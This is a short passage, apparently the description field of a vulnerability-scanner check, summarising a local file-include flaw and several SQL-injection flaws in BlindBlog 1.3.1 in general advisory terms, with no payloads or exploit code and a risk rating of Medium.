 Overview:
  BlindBlog is prone to a local file-include vulnerability and
  multiple SQL-injection vulnerabilities because it fails to properly
  sanitize user-supplied input.

  An attacker can exploit the local file-include vulnerability using
  directory-traversal strings to view and execute arbitrary local
  files within the context of the webserver process. Information
  harvested may aid in further attacks.

  The attacker can exploit the SQL-injection vulnerabilities to
  compromise the application, access or modify data, or exploit latent
  vulnerabilities in the underlying database.

  BlindBlog 1.3.1 is vulnerable; other versions may also be affected. 

 Risk factor : Medium";
